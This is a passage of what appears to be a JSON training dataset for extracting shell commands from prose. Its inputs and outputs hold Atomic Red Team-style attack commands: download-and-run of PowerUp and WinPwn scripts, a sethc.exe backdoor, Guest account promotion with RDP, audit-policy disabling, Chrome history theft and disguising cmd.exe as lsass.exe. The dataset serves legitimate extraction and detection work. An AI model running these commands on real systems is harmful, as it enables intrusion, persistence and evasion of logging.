`Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To capture a full desktop screenshot, use the following command: import -window root #{output_file}; For capturing screenshots and simulating user behavior with mouse clicks, execute this multi-step command: cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\nAdd-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\ncmd /c \"timeout #{recording_time} > NULL && psr.exe /stop\"",
    "output": "{\"command_list\": [\"import -window root #{output_file}\\n\", \"cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\\nAdd-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\\ncmd /c \\\"timeout #{recording_time} > NULL && psr.exe /stop\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can find out the Operating System Build Number via the registry with the command: reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v CurrentBuildNumber; For replacing sethc.exe with cmd.exe, run the following commands: IF NOT EXIST C:\\Windows\\System32\\sethc_backup.exe (copy C:\\Windows\\System32\\sethc.exe C:\\Windows\\System32\\sethc_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\sethc.exe /A\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n",
    "output": "{\"command_list\": [\"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\" /v CurrentBuildNumber\\n\", \"IF NOT EXIST C:\\\\Windows\\\\System32\\\\sethc_backup.exe (copy C:\\\\Windows\\\\System32\\\\sethc.exe C:\\\\Windows\\\\System32\\\\sethc_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\sethc.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\sethc.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\sethc.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following commands will activate the Default Guest account, grant administrative and remote desktop privileges, and configure the system to permit multiple RDP sessions: net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f; Adversaries may enable the default Guest user, which is inactive by default, by running the following command: net user #{guest_user} /active:yes",
    "output": "{\"command_list\": [\"net user #{guest_user} /active:yes\\nnet user #{guest_user} #{guest_password}\\nnet localgroup #{local_admin_group} #{guest_user} /add\\nnet localgroup \\\"#{remote_desktop_users_group_name}\\\" #{guest_user} /add\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"AllowTSConnections\\\" /t REG_DWORD /d 0x1 /f\", \"net user #{guest_user} /active:yes\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For editing the Uncomplicated Firewall's main configuration file and confirming the update, execute the following: echo \"# THIS IS A COMMENT\" >> /etc/default/ufw\ngrep \"# THIS IS A COMMENT\" /etc/default/ufw; For checking the most recent activity in the UFW logs, execute the command: tail /var/log/ufw.log",
    "output": "{\"command_list\": [\"echo \\\"# THIS IS A COMMENT\\\" >> /etc/default/ufw\\ngrep \\\"# THIS IS A COMMENT\\\" /etc/default/ufw\\n\", \"tail /var/log/ufw.log\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent key host-based telemetry from being written into event logs, you can disable the Windows audit policy by running the following commands: \nauditpol /set /category:\"Account Logon\" /success:disable /failure:disable\nauditpol /set /category:\"Logon/Logoff\" /success:disable /failure:disable\nauditpol /set /category:\"Detailed Tracking\" /success:disable\n; Certain audit events can be prevented from being logged by executing these commands to clear the Windows audit policy: auditpol /clear /y\nauditpol /remove /allusers\n",
    "output": "{\"command_list\": [\"auditpol /set /category:\\\"Account Logon\\\" /success:disable /failure:disable\\nauditpol /set /category:\\\"Logon/Logoff\\\" /success:disable /failure:disable\\nauditpol /set /category:\\\"Detailed Tracking\\\" /success:disable\\n\", \"auditpol /clear /y\\nauditpol /remove /allusers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract the browsing history of the Chrome user, run the following command: $Username = (whoami).Split('\\\\')[1]\n$URL_Regex = '(htt(p|s))://([\\w-]+\\.)+[\\w-]+(/[\\w- ./?%&=]*)*?'\n$History = Get-Content -Path \"$Env:systemdrive\\Users\\$UserName\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History\" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique\n$History | Out-File -FilePath \"$Env:USERPROFILE\\Downloads\\chromebrowsinghistory.txt\"\n; To copy cmd.exe and disguise it as lsass.exe, run the following commands: copy %SystemRoot%\\System32\\cmd.exe %SystemRoot%\\Temp\\lsass.exe\n%SystemRoot%\\Temp\\lsass.exe /B\n",
    "output": "{\"command_list\": [\"$Username = (whoami).Split('\\\\')[1]\\n$URL_Regex = '(htt(p|s))://([\\\\w-]+\\\\.)+[\\\\w-]+(/[\\\\w- ./?%&=]*)*?'\\n$History = Get-Content -Path \\\"$Env:systemdrive\\\\Users\\\\$UserName\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\History\\\" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique\\n$History | Out-File -FilePath \\\"$Env:USERPROFILE\\\\Downloads\\\\chromebrowsinghistory.txt\\\"\\n\", \"copy %SystemRoot%\\\\System32\\\\cmd.exe %SystemRoot%\\\\Temp\\\\lsass.exe\\n%SystemRoot%\\\\Temp\\\\lsass.exe /B\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malware and post-exploitation tools frequently use this command to verify file system protections, specifically by executing: csrutil status; You can discover privilege escalation opportunities by executing this command that calls winPEAS: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwinPEAS -noninteractive -consoleoutput",
